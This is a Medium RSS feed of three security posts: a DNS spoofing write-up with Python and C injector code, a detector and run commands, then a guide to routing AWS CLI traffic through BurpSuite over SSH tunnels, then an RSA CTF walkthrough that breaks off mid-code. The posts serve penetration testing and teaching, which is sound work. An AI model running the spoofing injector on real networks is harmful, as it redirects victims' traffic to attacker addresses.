<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Asif Iqbal on Medium]]></title>
        <description><![CDATA[Stories by Asif Iqbal on Medium]]></description>
        <link>https://medium.com/@asif.iqbal.gazi?source=rss-aeac94886ce6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Asif Iqbal on Medium</title>
            <link>https://medium.com/@asif.iqbal.gazi?source=rss-aeac94886ce6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:17:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asif.iqbal.gazi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DNS Spoofing at Two Speeds: From Python Prototype to Optimised C Injector]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/dns-spoofing-at-two-speeds-from-python-prototype-to-optimised-c-injector-d9e29943e24e?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9e29943e24e</guid>
            <category><![CDATA[dnssec]]></category>
            <category><![CDATA[libpcap]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[dns-spoofing]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 01:51:00 GMT</pubDate>
            <atom:updated>2026-03-25T01:51:00.730Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEenfCgO7N_kgRM6lfWYkg.png" /></figure><p><em>A deep technical dive into DNS race-condition spoofing, TXID-based detection, and the engineering journey from a Scapy prototype to a precomputed, stack-allocated C implementation that reliably wins the race.</em></p><h3>Why DNS Spoofing Still Matters in 2025</h3><p>DNS spoofing is not a new attack. It was documented in the 1990s, and the theoretical fix — DNSSEC — has existed since 1997. Yet in 2025, the majority of enterprise networks still run unsigned DNS zones, most resolvers don’t validate DNSSEC signatures, and DNS-over-HTTPS/TLS adoption remains uneven outside of consumer browsers.</p><p>The result: DNS cache poisoning and on-path spoofing remain viable attack techniques in internal network penetration tests, red team engagements, and adversary simulations — particularly in environments where an attacker has already achieved LAN access or ARP poisoning capability.</p><p>This article covers two related projects that approach the problem from different angles:</p><p>ProjectLanguageRole<a href="https://github.com/Asif-Iqbal-Gazi/dns-sentinel">dns-sentinel</a>Python / ScapyRed team injector + Blue team detector<a href="https://github.com/Asif-Iqbal-Gazi/dns-sniffer">dns-sniffer</a>C / libpcapOptimised injector with precomputed responses</p><p>The Python toolkit was the prototype — fast to build, easy to iterate on, and good enough to demonstrate the attack. The C implementation came later, driven by a concrete engineering problem: <strong>winning the race more reliably</strong>. Understanding what changed between the two, and why, is the core of this article.</p><h3>The Attack Surface: DNS as a Race Condition</h3><h3>The Protocol Weakness</h3><p>DNS over UDP has no session layer, no connection state, and no cryptographic authentication. A resolver sends a query packet and accepts the first response that arrives with a matching <strong>Transaction ID (TXID)</strong> — a 16-bit value chosen pseudo-randomly per query.</p><p>The TXID was never intended as a security control. With only 65,536 possible values and no rate limiting on responses, it provides minimal protection against a determined attacker who can observe traffic on the local network.</p><h3>The Race</h3><p>An on-path attacker — one who can observe DNS queries leaving the victim via ARP spoofing, rogue AP, switched port mirroring, or physical LAN access — can execute the following:</p><pre>Victim ──[UDP/53 Query: A? example.com TXID=0x3A1F]──▶ Upstream Resolver<br>           │<br>           └──────────────────────────────────────────▶ Attacker (sniffing)<br>                                                              │<br>                                                              │ Craft forged response:<br>                                                              │  TXID: 0x3A1F (copied)<br>                                                              │  QR=1, AA=1<br>                                                              │  AN: example.com → evil-ip<br>                                                              ▼<br>Victim ◀──[Forged UDP/53 Response TXID=0x3A1F]───────────────┘<br>  │<br>  └── Accepts forged answer (first to arrive wins)<br>  <br>       [Real resolver response arrives later — silently discarded]</pre><p>The attack succeeds when the forged packet reaches the victim before the legitimate resolver response. On a LAN, a well-optimised attacker can respond within a few hundred microseconds of observing the query — well within the typical upstream resolver RTT of 1–50ms.</p><p>The key insight: <strong>the attacker’s margin is the upstream resolver RTT minus the attacker’s processing and injection latency</strong>. Every microsecond saved in crafting and sending the forged packet directly increases the attack’s reliability.</p><h3>Part 1: dns-sentinel — The Python Prototype</h3><h3>Architecture</h3><p>dns-sentinel is a two-tool toolkit built on Scapy:</p><ul><li>dnsinject.py — sniffs DNS A-record queries and races the upstream resolver with a forged response</li><li>dnsdetect.py — monitors for duplicate responses on the same TXID and alerts on IP mismatches</li></ul><h3>The Injector</h3><p>The injector uses a Scapy AsyncSniffer with a BPF filter (udp port 53). For each intercepted A-record query, it builds and sends a forged response:</p><pre>forged = (<br>    IP(dst=pkt[IP].src, src=pkt[IP].dst) /<br>    UDP(dport=pkt[UDP].sport, sport=53) /<br>    DNS(<br>        id=pkt[DNS].id,       # Copy TXID<br>        qr=1,                 # Response flag<br>        aa=1,                 # Authoritative<br>        qd=pkt[DNS].qd,       # Echo question section<br>        an=DNSRR(<br>            rrname=pkt[DNS].qd.qname,<br>            ttl=300,<br>            rdata=spoofed_ip<br>        )<br>    )<br>)</pre><p>To minimise send latency, the forged packet is transmitted via a raw Layer-3 socket (socket.SOCK_RAW) rather than Scapy&#39;s send(), which bypasses Scapy&#39;s routing and interface selection overhead.</p><h3>The Detector</h3><p>The detector exploits the same protocol property the attacker relies on: each DNS TXID should produce at most one response. Two different responses for the same TXID is unambiguous evidence of a race — one of them is forged.</p><pre>For each DNS response packet:<br>    key = (src_ip, TXID)<br>    if key not in table:<br>        table[key] = answer_ip        # Store first-seen answer<br>    else if table[key] != answer_ip:  # Different answer = spoofing<br>        ALERT(domain, TXID, table[key], answer_ip)</pre><p>Output:</p><pre>[!] Spoofing detected for corp-sso.example.com<br>    TXID     : 0x3A1F<br>    Answer 1 : 192.168.1.100   ← Forged (arrived first)<br>    Answer 2 : 203.0.113.42    ← Legitimate resolver response</pre><p>The detector also supports offline PCAP analysis via -r capture.pcap — useful for post-incident forensic work without requiring live traffic.</p><h3>Usage</h3><pre># Inject — spoof specific domains from a hostfile<br>sudo python dnsinject.py -i eth0 -h hosts.txt</pre><pre># Detect — live monitoring<br>sudo python dnsdetect.py -i eth0</pre><pre># Detect — forensic PCAP analysis<br>sudo python dnsdetect.py -r capture.pcap</pre><h3>Where Python Falls Short</h3><p>The Python prototype works well in a lab. But there’s a fundamental performance ceiling: every time a query is intercepted, Scapy allocates objects, builds the DNS layer from Python objects, serialises it to bytes, and hands it to the OS. That pipeline — Python interpreter overhead, GC pressure, Scapy’s internal processing — adds up. In a tight race against an upstream resolver with a low RTT, that overhead is measurable and sometimes costs the win.</p><p>This is what motivated the C implementation.</p><h3>Part 2: dns-sniffer — The Optimised C Injector</h3><p>The C project (dns-sniffer) contains two source files that tell the story of an iterative optimisation:</p><p>FileVersionKey characteristicdns_spoofer_static.cv1 — naivemalloc per packet, full response built on every querydns_spoofer.cv2 — optimisedPrecomputed payloads, stack-allocated buffers, only TXID patched at runtime</p><p>Both use libpcap for capture and pcap_inject for Layer-2 packet injection.</p><h3>v1: The Naive Baseline (dns_spoofer_static.c)</h3><p>The first version is a clean, correct implementation. When a matching DNS query arrives, send_dns_spoof_response() does the following every single time:</p><ol><li>malloc() a new response buffer</li><li>Build the full Ethernet, IP, UDP, and DNS headers from scratch</li><li>Copy and encode the question section from the original query</li><li>Build the answer section: compression pointer, RR fixed part, spoofed IP bytes</li><li>Compute the IP checksum</li><li>pcap_inject() the packet</li><li>free() the buffer</li></ol><p>This is correct and readable. But there’s significant redundant work: for any given domain in the hostfile, the DNS payload — the question section name, the QTYPE/QCLASS bytes, the compression pointer, the RR type/class/TTL/rdlength, the spoofed IP — is <strong>identical on every query</strong>. Only the TXID and the RD flag bit change between packets.</p><h3>v2: Precomputed Payloads (dns_spoofer.c)</h3><p>The optimised version addresses this with a single structural change: the DomainMapEntry struct now carries a precomputed DNS payload buffer alongside the domain and IP:</p><pre>typedef struct {<br>    char    domain[DNS_MAX_NAME_LENGTH + 1];<br>    char    ip[INET_ADDRSTRLEN];<br>    int     precomputed_dns_payload_len;<br>    uint8_t precomputed_dns_payload[DNS_MAX_PAYLOAD_SIZE]; // Pre-built at startup<br>} DomainMapEntry;</pre><p>At startup, when the hostfile is loaded, precompute_single_dns_response() runs once per domain entry. It builds the complete DNS payload — header (with placeholder TXID=0), question section, answer section with spoofed IP — and stores it in precomputed_dns_payload. This work happens <strong>once</strong>, not on every packet.</p><pre>int precompute_single_dns_response(DomainMapEntry *entry) {<br>    // DNS header with placeholder TXID<br>    dns_resp_hdr-&gt;id      = 0;  // Updated per-packet<br>    dns_resp_hdr-&gt;flags   = htons(DNS_FLAG_QR | DNS_FLAG_AA | DNS_FLAG_RA);<br>    dns_resp_hdr-&gt;qdcount = htons(1);<br>    dns_resp_hdr-&gt;ancount = htons(1);</pre><pre>    // Question section — encode domain name in wire format<br>    hostname_to_dns_format(entry-&gt;domain, ...);</pre><pre>    // Answer section — compression pointer + RR + spoofed IP<br>    uint16_t name_ptr = htons(0xC000 | DNS_HDR_SIZE);  // 0xC00C<br>    inet_pton(AF_INET, entry-&gt;ip, &amp;spoofed_ip_addr);</pre><pre>    entry-&gt;precomputed_dns_payload_len = curr_offset;<br>}</pre><p>At packet-handling time, the hot path is now minimal:</p><pre>// 1. Copy the precomputed payload — one memcpy<br>memcpy(dns_resp_payload_ptr,<br>       spoof_entry-&gt;precomputed_dns_payload,<br>       spoof_entry-&gt;precomputed_dns_payload_len);</pre><pre>// 2. Patch only what changes per-packet: TXID and RD flag<br>dns_resp_hdr-&gt;id = ori_dns_header-&gt;id;  // Copy TXID from query</pre><pre>uint16_t flags = ntohs(dns_resp_hdr-&gt;flags);<br>if (ori_flags &amp; DNS_FLAG_RD_MASK)<br>    flags |= DNS_FLAG_RD_MASK;<br>else<br>    flags &amp;= ~DNS_FLAG_RD_MASK;<br>dns_resp_hdr-&gt;flags = htons(flags);</pre><p>The entire DNS payload is ready — just stamp the TXID, conditionally flip one bit, and inject.</p><h3>The Second Optimisation: Stack Allocation</h3><p>In v1, send_dns_spoof_response() calls malloc() for the response buffer on every packet. Memory allocation is not free — it involves a syscall or heap lock contention under load. In v2, the response buffer is stack-allocated in the packet handler:</p><pre>void dns_packet_handler(...) {<br>    // Stack allocation — no malloc, no free, no heap contention<br>    uint8_t response_packet_buffer[MAX_SPOOF_PACKET_SIZE];</pre><pre>    // ...match domain, then:<br>    send_dns_spoof_response(handle, eth_hdr, ip_hdr, udp_hdr,<br>                            ori_dns_header, &amp;domain_map[i],<br>                            response_packet_buffer);  // Pass buffer in<br>}</pre><p>The buffer lives on the stack for the duration of dns_packet_handler&#39;s call frame. No allocation, no deallocation, no heap fragmentation over time.</p><h3>Layer-2 Injection via pcap_inject</h3><p>Both versions use pcap_inject() for packet transmission rather than a raw IP socket. This is an important distinction: pcap_inject operates at Layer 2, writing a complete Ethernet frame directly to the wire. The implementation therefore builds the full Ethernet header (swapping src/dst MACs from the original query), which gives it two advantages:</p><ul><li><strong>No kernel routing involvement</strong> — the packet bypasses the IP stack entirely and goes straight to the NIC driver</li><li><strong>MAC-level precision</strong> — the forged response is addressed directly to the querying host’s MAC address, not broadcast</li></ul><pre>// Swap MAC addresses from the original query<br>memcpy(eth_resp_hdr-&gt;ether_dhost, ori_eth_hdr-&gt;ether_shost, ETHER_ADDR_LEN);<br>memcpy(eth_resp_hdr-&gt;ether_shost, ori_eth_hdr-&gt;ether_dhost, ETHER_ADDR_LEN);</pre><h3>The Performance Difference: Why It Matters</h3><p>To understand why these optimisations move the needle, consider what happens in the hot path for each version when a DNS query arrives:</p><p><strong>Python (dns-sentinel):</strong></p><pre>pcap callback → Python object allocation → Scapy layer construction<br>→ DNS serialisation → socket.SOCK_RAW send</pre><p><strong>C v1 (dns_spoofer_static):</strong></p><pre>pcap callback → malloc() → full header construction → memcpy (question)<br>→ build answer section → IP checksum → pcap_inject → free()</pre><p><strong>C v2 (dns_spoofer):</strong></p><pre>pcap callback → memcpy (precomputed payload) → patch 4 bytes (TXID)<br>→ patch 2 bytes (flags) → IP checksum → pcap_inject</pre><p>The v2 hot path reduces to a single memcpy of the precomputed DNS payload, two field patches, an IP checksum over 20 bytes, and the pcap_inject call. Everything that can be moved outside the hot path has been moved outside the hot path.</p><h3>Putting It Together: Choosing the Right Tool</h3><p>RequirementRecommended toolQuick lab demo, no compilationdns-sentinel (Python)Dual red+blue in one toolkitdns-sentinelForensic PCAP detectiondns-sentinel (dnsdetect.py -r)Maximum injection speed, reliably winning tight racesdns-sniffer (C v2)Understanding the optimisation journeyBoth — read v1 then v2</p><h3>Installation</h3><p><strong>dns-sentinel (Python):</strong></p><pre>git clone https://github.com/Asif-Iqbal-Gazi/dns-sentinel<br>cd dns-sentinel<br>pip install -r requirements.txt<br>sudo python dnsinject.py -i eth0 -h hosts.txt</pre><p><strong>dns-sniffer ©:</strong></p><pre>git clone https://github.com/Asif-Iqbal-Gazi/dns-sniffer<br>cd dns-sniffer<br>make<br>sudo ./bin/dns_spoofer -i eth0 -f hosts.txt         # Optimised v2<br>sudo ./bin/dns_spoofer_static -i eth0 -f hosts.txt  # Naive v1 (baseline)</pre><p>Requirements: libpcap (apt install libpcap-dev), GCC, Linux or macOS, root privileges.</p><h3>Operational Notes</h3><p><strong>ARP poisoning as a prerequisite.</strong> On a switched network, neither tool sees traffic from other hosts by default. You need to be on-path first — ARP spoofing is the standard technique.</p><p><strong>IPv6 is out of scope.</strong> Both implementations handle A records (IPv4) only. Dual-stack hosts querying AAAA records won’t be spoofed; modern browsers may fall back to a legitimate IPv6 address.</p><p><strong>TTL tradeoffs.</strong> The C implementation uses TTL=60 seconds; the Python version uses TTL=300. Lower TTL reduces how long a spoofed entry persists in the victim’s resolver cache after the attack ends. Choose based on whether persistence or reduced forensic footprint matters more for your engagement.</p><p><strong>DNSSEC is the real fix.</strong> Both tools detect and exploit the symptom. DNSSEC eliminates DNS spoofing entirely by cryptographically signing zone data. The reason tools like these remain relevant is that DNSSEC deployment, particularly for internal enterprise zones, is still low.</p><h3>Responsible Use</h3><p>Both projects require root privileges and raw network access. Use exclusively on networks you own or have explicit written authorisation to test. Unauthorised DNS spoofing is illegal under computer fraud statutes in most jurisdictions.</p><p>Intended uses: penetration testing engagements, red/blue team exercises, CTF environments, network security training, and forensic PCAP analysis.</p><p><em>Part of an ongoing series on network security tools and CTF write-ups. Previous entries cover VBScript deobfuscation, SSHD coredump forensics, 3D maze reversing, RSA cryptanalysis, and AWS traffic interception — all linked on my profile.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9e29943e24e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intercepting AWS Traffic Through BurpSuite in Isolated and Serverless Environments]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/intercepting-aws-traffic-through-burpsuite-in-isolated-and-serverless-environments-61d3635b0ba8?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/61d3635b0ba8</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Mon, 23 Mar 2026 01:36:00 GMT</pubDate>
            <atom:updated>2026-03-23T01:36:00.462Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pstlf_vPNynnERBGQjp2Bw.png" /></figure><p><em>A practical guide to proxying AWS CLI traffic through a local BurpSuite instance — whether you’re inside a single EC2, a Docker container, or a PrivateLink setup.</em></p><h3>Why This Matters</h3><p>When security testing AWS environments, one of the most powerful things you can do is intercept the traffic flowing between your AWS CLI and the AWS APIs. Seeing the raw HTTP requests — authentication headers, signed payloads, endpoint details — gives you a level of visibility that the CLI output alone never provides.</p><p>The problem is that most guides assume a straightforward network setup. Reality is messier. You might be:</p><ul><li><strong>Inside an EC2 instance</strong> in a private VPC with no direct internet access</li><li><strong>Inside a Docker container</strong> running on an isolated EC2 instance</li><li><strong>Chained through a jump server</strong> to reach an instance that isn’t exposed to the internet at all</li></ul><p>In each of these cases, simply pointing your proxy at localhost:8080 won&#39;t work. This guide walks through all three scenarios step by step, so you can get BurpSuite intercepting traffic regardless of your network topology.</p><p><strong>Tools used:</strong> BurpSuite, SSH, AWS CLI, netcat</p><h3>The Core Idea — SSH Tunneling in Both Directions</h3><p>Before diving into the steps, it helps to understand the two SSH tunnel types we’ll be using:</p><p><strong>Reverse tunnel (</strong><strong>-R):</strong> Opens a port on the <em>remote</em> machine that forwards traffic back to a port on your <em>local</em> machine. We use this to make BurpSuite&#39;s listener (running locally on port 8080) reachable from inside the EC2 instance as localhost:8089.</p><p><strong>Dynamic tunnel (</strong><strong>-D):</strong> Turns your local machine into a SOCKS proxy. Traffic sent to that local port gets forwarded through the SSH connection to the remote host. This is used if you need to route traffic from your laptop through the EC2 instance.</p><p>For most AWS CLI interception scenarios, the reverse tunnel (-R) is the one doing the heavy lifting.</p><h3>Scenario 1: Single EC2 Instance</h3><p>This is the baseline scenario — you have SSH access to an EC2 instance and want to intercept its outbound AWS API calls in your local BurpSuite.</p><h3>Setting Up SSH Access</h3><p>If you don’t have a private key for the instance (common when it’s managed by another team), you can add your own public key via AWS Session Manager — no open SSH port required.</p><p><strong>Step 1:</strong> Get your local public key:</p><pre>cat ~/.ssh/id_ed25519.pub</pre><p><strong>Step 2:</strong> In the AWS Console, navigate to the EC2 instance → <strong>Connect</strong> → <strong>Session Manager</strong> → <strong>Connect</strong>.</p><p><strong>Step 3:</strong> Inside the session, switch to ec2-user and add your key:</p><pre>sudo su ec2-user<br>echo &lt;YOUR_PUBLIC_KEY&gt; &gt;&gt; ~/.ssh/authorized_keys</pre><p><strong>Step 4:</strong> To prevent the SSH connection from timing out mid-session, update the SSH daemon config:</p><pre>sudo vim /etc/ssh/sshd_config</pre><p>Add or update:</p><pre>ClientAliveInterval 60<br>ClientAliveCountMax 10</pre><p>Restart the daemon:</p><pre>sudo systemctl restart sshd.service</pre><h3>Opening the Tunnels</h3><p>You need <strong>two terminal windows</strong> on your local machine.</p><p><strong>Terminal 1 — Reverse tunnel (EC2 → Local Burp):</strong></p><pre>ssh -R 8089:localhost:8080 ec2-user@&lt;EC2_PUBLIC_IP&gt;</pre><p>This makes port 8089 on the EC2 instance forward to port 8080 on your local machine — where BurpSuite is listening.</p><p><strong>Terminal 2 — Dynamic tunnel (optional, for routing laptop traffic through EC2):</strong></p><pre>ssh -D 8082 ec2-user@&lt;EC2_PUBLIC_IP&gt;</pre><h3>Configuring AWS CLI to Use the Proxy</h3><p>Back inside the EC2 instance (in Terminal 1), set the proxy environment variables:</p><pre>export HTTPS_PROXY=localhost:8089<br>export HTTP_PROXY=localhost:8089</pre><h3>BurpSuite Setup</h3><p>In BurpSuite on your local machine:</p><ul><li>Ensure the proxy listener is running on port <strong>8080</strong></li><li>Go to <strong>Proxy → Options</strong> and confirm it’s bound to 127.0.0.1:8080</li><li>Make sure <strong>Intercept is on</strong> (or off, depending on whether you want to actively intercept or just log)</li></ul><h3>Testing It</h3><p>Run any AWS CLI command from inside the EC2 instance:</p><pre>aws sts get-caller-identity --no-verify-ssl</pre><p>The --no-verify-ssl flag is necessary because BurpSuite&#39;s TLS certificate won&#39;t be trusted by the AWS CLI by default. You should immediately see the request appear in BurpSuite&#39;s HTTP history.</p><h3>Tip: Consolidate Into ~/.ssh/config</h3><p>Instead of typing the full SSH command each time, add this to your ~/.ssh/config:</p><pre>Host my-ec2<br>    Hostname &lt;EC2_PUBLIC_IP&gt;<br>    User ec2-user<br>    IdentityFile &lt;PATH_TO_PRIVATE_KEY&gt;<br>    RemoteForward 8089 localhost:8080<br>    DynamicForward 8082</pre><p>Then simply run:</p><pre>ssh my-ec2</pre><p>Both tunnels open automatically on connect.</p><h3>Scenario 2: Docker Container Inside an Isolated EC2 Instance</h3><p>Here the EC2 instance hosts one or more Docker containers, and you want to intercept traffic originating from inside the container.</p><p>Follow all steps from Scenario 1 (Steps 1–9) to establish the reverse tunnel from the EC2 instance to your local BurpSuite. Then:</p><p><strong>Step 1:</strong> Access the running container:</p><pre>docker exec -it &lt;CONTAINER_NAME_OR_ID&gt; /bin/bash</pre><p><strong>Step 2:</strong> Set the proxy variables inside the container shell:</p><pre>export HTTPS_PROXY=localhost:8089<br>export HTTP_PROXY=localhost:8089</pre><p><strong>Step 3:</strong> Run your AWS CLI command and verify it appears in BurpSuite.</p><p>This works because the container shares the host network (when Docker is configured with --network host). The reverse tunnel created on the EC2 host is accessible from inside the container as localhost:8089.</p><h3>Verifying Docker Network Mode</h3><p>Before assuming host networking is in place, verify:</p><pre>docker inspect &lt;CONTAINER_NAME&gt; | grep &quot;Network&quot;</pre><p>The output should indicate host mode. If it shows bridge mode instead, the container has its own network namespace and localhost:8089 inside the container won&#39;t reach the host&#39;s tunnel. In that case, use the EC2 instance&#39;s internal IP address instead of localhost in the proxy variables.</p><h3>Scenario 3: PrivateLink — Chained Through a Jump Server</h3><p>This is the most complex setup. The target EC2 instance lives in a private subnet with no direct internet access. To reach it, you first SSH into a public-facing jump server, then hop from there to the private instance.</p><h3>The SSH Command</h3><pre># Terminal 1 — Reverse tunnel through the jump server<br>ssh -o ProxyCommand=&#39;ssh -W %h:%p ec2-user@&lt;JUMP_SERVER_IP&gt;&#39; \<br>    -R 8089:localhost:8080 \<br>    ec2-user@&lt;TARGET_EC2_IP&gt;</pre><pre># Terminal 2 — Dynamic tunnel through the jump server<br>ssh -o ProxyCommand=&#39;ssh -W %h:%p ec2-user@&lt;JUMP_SERVER_IP&gt;&#39; \<br>    -D 8082 \<br>    ec2-user@&lt;TARGET_EC2_IP&gt;</pre><p>The ProxyCommand tells SSH to first connect to the jump server (-W %h:%p forwards the connection transparently), then proceed to the target. From there, the reverse tunnel works exactly as in Scenario 1.</p><h3>The ~/.ssh/config Version</h3><pre>Host private-ec2<br>    Hostname &lt;TARGET_EC2_IP&gt;<br>    User ec2-user<br>    IdentityFile &lt;PATH_TO_PRIVATE_KEY&gt;<br>    ProxyCommand ssh -W %h:%p ec2-user@&lt;JUMP_SERVER_IP&gt;<br>    RemoteForward 8089 localhost:8080<br>    DynamicForward 8082</pre><p>Then:</p><pre>ssh private-ec2</pre><p>Everything — the jump, the reverse tunnel, and the dynamic tunnel — happens in one command.</p><h3>Troubleshooting</h3><h3>“Warning: Remote port forwarding failed for listen port 8089”</h3><p>This is the most common issue, and it usually happens after your SSH connection drops (e.g., you went to lunch, the session timed out), but the port binding on the remote side never cleaned up.</p><p><strong>Fix:</strong> Change the RemoteForward port to a new value (e.g., 8090) in your ~/.ssh/config, reconnect, and update your proxy environment variables to match:</p><pre>export HTTPS_PROXY=localhost:8090<br>export HTTP_PROXY=localhost:8090</pre><p>The stale binding on the old port will eventually time out on its own.</p><h3>AWS CLI Refuses to Connect</h3><p>If the CLI hangs or errors before reaching BurpSuite, check:</p><ol><li>The proxy variables are exported in the <strong>current shell</strong> (not a parent or different terminal)</li><li>BurpSuite is actually running and listening on port 8080</li><li>You’re using --no-verify-ssl (or have imported BurpSuite&#39;s CA certificate into the system trust store)</li></ol><h3>Container Traffic Not Showing Up</h3><p>If you’re in Scenario 2 and traffic isn’t appearing in Burp, the container is likely using bridge networking rather than host networking. Try:</p><pre>export HTTPS_PROXY=&lt;EC2_INTERNAL_IP&gt;:8089<br>export HTTP_PROXY=&lt;EC2_INTERNAL_IP&gt;:8089</pre><h3>Quick Reference</h3><p>ScenarioSSH FlagsProxy TargetSingle EC2-R 8089:localhost:8080localhost:8089Docker on EC2Same as above, set inside containerlocalhost:8089 (host network) or &lt;EC2_IP&gt;:8089 (bridge)PrivateLink (jump server)ProxyCommand + -R 8089:localhost:8080localhost:8089 on target EC2</p><h3>Key Takeaways</h3><ul><li><strong>SSH reverse tunneling</strong> is the cleanest way to proxy traffic from a remote host through a local BurpSuite — no firewall rules, no NAT changes, no cloud infrastructure modifications required.</li><li><strong>The </strong><strong>~/.ssh/config file</strong> is underused. Consolidating your tunnel configuration there eliminates the need to remember complex command-line flags and makes the whole setup reproducible.</li><li><strong>PrivateLink and jump servers</strong> add connection hops but not complexity — ProxyCommand handles the chaining transparently.</li><li><strong>Port conflicts from stale bindings</strong> are the most common failure mode. Keep a few alternate port numbers handy and rotate when you hit the warning.</li></ul><p><em>This is the final post in this series. If you found it useful, the earlier entries cover CTF challenges including VBScript deobfuscation, SSHD coredump forensics, 3D maze reversing, and RSA cryptanalysis .</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61d3635b0ba8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACCESS DENIED: How We Cracked RSA-Encrypted Chat Messages from a Network Capture]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/access-denied-how-we-cracked-rsa-encrypted-chat-messages-from-a-network-capture-ef3697bbfb52?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef3697bbfb52</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Sat, 21 Mar 2026 01:31:00 GMT</pubDate>
            <atom:updated>2026-03-21T20:21:37.351Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VztUyEL1LIBN8CZglIwQ0Q.png" /></figure><p><em>A walkthrough of network traffic analysis, C# binary decompilation, and RSA prime factorization — all to read one secret message.</em></p><h3>The Challenge at a Glance</h3><p><strong>Category:</strong> Forensics + Reverse Engineering + Cryptography | <strong>Difficulty:</strong> Hard (400 pts)</p><blockquote>“Carlos has sent some message to his secret friend. The bureau believes that it contains something quite important and hence has captured the traffic. Help the bureau to find that secret message.”</blockquote><p>We’re given a single file: chat.pcap — a network capture. No binary, no source code, no hints beyond the packet dump. Everything we need is hidden inside the traffic.</p><p><strong>Tools used:</strong> Wireshark, Exe-Info, Smart Assembly Explorer (SAE), YAFU, RSA Tool</p><h3>Step 1: Opening the PCAP — Reading the Story in the Packets</h3><p>We open chat.pcap in Wireshark and start digging. Three HTTP requests immediately stand out:</p><p><strong>Request 1: A file download</strong></p><pre>GET /downloads/UndergroundChat.exe HTTP/1.1</pre><p>Someone downloaded a program called UndergroundChat.exe. The response contains the MZ header — the unmistakable signature of a Windows executable.</p><p><strong>Request 2: A key lookup</strong></p><pre>GET /api/key.asp?user=Carlos HTTP/1.1</pre><p>A request for a cryptographic key, tied to the user Carlos. The response is JSON:</p><pre>{<br>  &quot;E&quot;: &quot;MTM=&quot;,<br>  &quot;N&quot;: &quot;Nzk3MDg4MTQ4MzEyMDI1OTE2MDM3NDg0MzU4NDM4MDMzODI2ODg5OT...&quot;<br>}</pre><p>Two Base64-encoded values, E and N. If you&#39;ve seen RSA before, those names are very familiar.</p><p><strong>Request 3: An encrypted message</strong></p><pre>POST /api/message.asp HTTP/1.1<br>Content-Type: application/json</pre><pre>{&quot;To&quot;:&quot;Carlos&quot;,&quot;Message&quot;:&quot;MjUzNjI3ODc2ODUzMTg5ODQ2MjEwMTc...&quot;}</pre><p>An encrypted message sent to Carlos. The Message field is Base64-encoded ciphertext.</p><p>The story is already taking shape. Carlos downloaded a chat program, the program fetched an RSA public key, encrypted a message with it, and sent it to a server. We have the key and the ciphertext. All that’s left is to find the private key.</p><h3>Step 2: Extracting and Decompiling the Binary</h3><p>To understand <em>exactly</em> how the encryption works, we need to look inside UndergroundChat.exe. We extract it from the PCAP by following the TCP stream of the download request in Wireshark, then saving the raw bytes — stripping the HTTP headers to get a clean executable.</p><p>Running it reveals a simple console application:</p><pre>-/-/-/-/-/- Welcome to Underground Chat -\-\-\-\-\-<br>Enter receiver name: _</pre><p>A quick scan with <strong>Exe-Info</strong> confirms it’s written in <strong>C#</strong> — a framework-based language, which means we can fully decompile it back to readable source code. We use <strong>Smart Assembly Explorer (SAE)</strong> to do exactly that.</p><p>The Main method reveals everything:</p><pre>string receiverName = Helpers.GetInputFromUser(&quot;Enter receiver name: &quot;);<br>Pbi keyData = Helpers.ConvertToBigInteger(Helpers.GetKey(receiverName));<br>string message = Helpers.GetInputFromUser(&quot;Enter message: &quot;);<br>string encryptedMessage = new Encryptor(keyData).Encrypt(message);<br>string result = Helpers.SendMessage(Helpers.GetPostData(receiverName, encryptedMessage));<br>Console.WriteLine(&quot;Response: &quot; + result);</pre><p>Clean, readable, and exactly what we suspected. Let’s follow each step.</p><h3>GetKey()</h3><pre>public static Ps GetKey(string user) {<br>    string address = Helpers.baseUrl + &quot;key.asp?user=&quot; + user;<br>    string input = webClient.DownloadString(address);<br>    return new JavaScriptSerializer().Deserialize&lt;Ps&gt;(input);<br>}</pre><p>Fetches the key from the server. The Ps class holds two string fields: E and N.</p><h3>ConvertToBigInteger()</h3><pre>public static Pbi ConvertToBigInteger(Ps ps) {<br>    return new Pbi {<br>        E = BigInteger.Parse(Encoding.UTF8.GetString(Convert.FromBase64String(ps.E))),<br>        N = 